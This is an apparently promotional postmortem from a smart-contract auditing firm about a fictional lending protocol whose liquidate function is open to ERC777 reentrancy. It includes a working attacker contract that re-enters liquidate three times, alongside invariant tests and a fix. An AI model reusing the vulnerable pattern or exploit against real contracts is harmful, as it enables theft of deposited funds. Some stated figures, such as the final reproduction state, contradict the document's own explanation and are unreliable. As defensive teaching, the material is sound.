2026-04-06·14 min read

Postmortem: The Lending Protocol Reentrancy That Fuzzing Missed — And Invariants Didn't

Postmortem: The Lending Protocol Reentrancy That Fuzzing Missed

This is a fictional protocol. The name, the numbers, the specific contract — all made up. The vulnerability class, the exploit mechanics, and the invariant that catches it: real. We've seen this exact pattern in production code.

The Protocol

MedusaLend is a simple lending protocol. Users deposit ERC20 collateral, borrow against it, and repay with interest. The accounting is five variables:

mapping(address => uint256) public collateralBalance;
mapping(address => uint256) public borrowBalance;
uint256 public totalCollateral;
uint256 public totalBorrows;
uint256 public totalReserves;

Liquidators can repay undercollateralized positions and claim the collateral at a 5% bonus.

The Bug

// VULNERABLE
function liquidate(address borrower, uint256 repayAmount) external {
    require(!isHealthy(borrower), "position is healthy");

    IERC20(underlyingAsset).transferFrom(msg.sender, address(this), repayAmount);

    uint256 collateralToSeize = repayAmount * liquidationBonus / 1e18;

    // Debt updated here...
    borrowBalance[borrower] -= repayAmount;
    totalBorrows -= repayAmount;

    // ...but collateral transferred before its accounting is updated
    IERC20(collateralAsset).transfer(msg.sender, collateralToSeize);

    // Too late — callback already fired
    collateralBalance[borrower] -= collateralToSeize;
    totalCollateral -= collateralToSeize;
}

The IERC20(collateralAsset).transfer is the problem. If collateralAsset has a hook on transfer (ERC777, ERC677, anything with callbacks), the liquidator's contract gets control back before collateralBalance and totalCollateral are updated. On-chain accounting still shows the full collateral. The liquidator re-enters liquidate and seizes it again.

The Exploit

contract ReentrancyExploit {
    MedusaLend public lend;
    address public borrower;
    uint256 public repayAmount;
    uint8 public depth;
    uint8 constant MAX_DEPTH = 3;

    function attack(address _borrower, uint256 _repay) external {
        borrower = _borrower;
        repayAmount = _repay;
        depth = 0;
        lend.liquidate(_borrower, _repay);
    }

    // Called by collateralAsset.transfer() if it has a hook
    function tokensReceived(
        address, address, address, uint256, bytes calldata, bytes calldata
    ) external {
        if (depth < MAX_DEPTH && !lend.isHealthy(borrower)) {
            depth++;
            lend.liquidate(borrower, repayAmount);
        }
    }
}

At depth 3, the attacker drained 3x the collateral they were owed. On a $10M position that's $1.5M profit (3x the 5% liquidation bonus).

Why 24 Hours of Fuzzing Found Nothing

The dev team ran Echidna with stateful fuzzing for 24 hours. Zero findings.

To trigger this bug, the fuzzer needs to deploy a malicious ERC777 token as the collateral asset, create an undercollateralized position, and call liquidate from a contract that re-enters. Default fuzz harnesses use plain ERC20 mocks. Plain mocks don't have transfer hooks, so the re-entrant path never gets exercised.

Echidna found integer overflow risks, division-by-zero in edge cases, incorrect health factor calculations with dust amounts. All useful. None of them are the $1.5M bug.

The fuzzer only attacks the system with what you've given it. If the mock tokens can't simulate adversarial behavior, adversarial behavior goes untested. That's not a flaw in the fuzzer — it's a gap in the harness.

Get invariant testing that covers adversarial token behavior

The Invariant That Catches It

// TargetFunctions.sol — wrapper that snapshots state around each call
function handler_liquidate(address borrower, uint256 repayAmount) public {
    __before();
    lend.liquidate(borrower, repayAmount);
    __after();
}
// BeforeAfter.sol — global state snapshots
abstract contract BeforeAfter {
    struct Vars {
        uint256 totalCollateral;
        uint256 totalBorrows;
        uint256 sumCollateralBalances;
        uint256 sumBorrowBalances;
    }

    Vars internal _before;
    Vars internal _after;

    function __before() internal {
        _before.totalCollateral = lend.totalCollateral();
        _before.totalBorrows = lend.totalBorrows();
        _before.sumCollateralBalances = _sumUserCollateral();
        _before.sumBorrowBalances = _sumUserBorrows();
    }

    function __after() internal {
        _after.totalCollateral = lend.totalCollateral();
        _after.totalBorrows = lend.totalBorrows();
        _after.sumCollateralBalances = _sumUserCollateral();
        _after.sumBorrowBalances = _sumUserBorrows();
    }
}
// Properties.sol
abstract contract Properties is BeforeAfter {

    // Sum of all user collateral balances must equal totalCollateral
    function property_collateral_accounting_consistent() public returns (bool) {
        return lend.totalCollateral() == _sumUserCollateral();
    }

    // Sum of all borrow balances must equal totalBorrows
    function property_borrow_accounting_consistent() public returns (bool) {
        return lend.totalBorrows() == _sumUserBorrows();
    }

    // Seized collateral can't exceed what the borrower actually had
    function property_liquidation_cannot_seize_more_than_owned() public returns (bool) {
        if (_before.totalCollateral == 0) return true;
        if (_after.totalCollateral < _before.totalCollateral) {
            uint256 seized = _before.totalCollateral - _after.totalCollateral;
            return seized <= _before.sumCollateralBalances;
        }
        return true;
    }

    // Collateral must cover borrows at liquidation threshold
    function property_protocol_solvent() public returns (bool) {
        uint256 col = lend.totalCollateral();
        uint256 borrow = lend.totalBorrows();
        if (borrow == 0) return true;
        return col * 80 >= borrow * 100;
    }
}

property_collateral_accounting_consistent is the one that fires. After any transaction sequence, the sum of all collateralBalance values must equal totalCollateral. Reentrancy breaks this: the global counter isn't updated mid-reentrant-call, but the token's already moved.

Running It in Recon

The critical setup detail is using an ERC777 mock with real hooks:

function setup() internal override {
    // Adversarial mock — has tokensReceived hooks, not a plain ERC20
    collateralToken = new ERC777MockWithHooks();
    underlyingToken = new ERC20Mock();

    lend = new MedusaLend(
        address(underlyingToken),
        address(collateralToken)
    );

    targetContract(address(lend));
    targetContract(address(collateralToken));
}

With that setup, Recon's campaign finds the property_collateral_accounting_consistent violation in under 90 seconds. The reproducible sequence looks like this:

  1. Deposit 100 USDC collateral
  2. Borrow 70 USDC (70% LTV)
  3. Manipulate price so position is undercollateralized
  4. Call liquidate from an ERC777-hooked contract
  5. Re-enter liquidate inside tokensReceived
  6. totalCollateral is 0 but sum(collateralBalance) is still 100 — property broken

The Fix

// FIXED
function liquidate(address borrower, uint256 repayAmount) external nonReentrant {
    require(!isHealthy(borrower), "position is healthy");

    IERC20(underlyingAsset).transferFrom(msg.sender, address(this), repayAmount);

    uint256 collateralToSeize = repayAmount * liquidationBonus / 1e18;

    // All state updates before any external call
    borrowBalance[borrower] -= repayAmount;
    totalBorrows -= repayAmount;
    collateralBalance[borrower] -= collateralToSeize;
    totalCollateral -= collateralToSeize;

    // External call last
    IERC20(collateralAsset).transfer(msg.sender, collateralToSeize);
}

Two changes: CEI order (Checks-Effects-Interactions) and a reentrancy guard as defense-in-depth. Both matter. CEI keeps accounting consistent during the callback window; nonReentrant stops the second entry entirely. After the fix, all properties pass across 10M+ fuzzer iterations.

I want to stress the harness point because it's where teams consistently cut corners. Plain ERC20 mocks feel like the safe choice — they're simpler, they're standard, they compile without extra setup. But if your collateral token can have hooks in production, you need a mock that can too. Testing a different system than the one you deploy is just expensive false confidence.

Want us to build and run this suite against your lending protocol? Request an audit or get started yourself in Recon Pro.

Related Posts

Related Glossary Terms

Get invariant testing that covers adversarial token behavior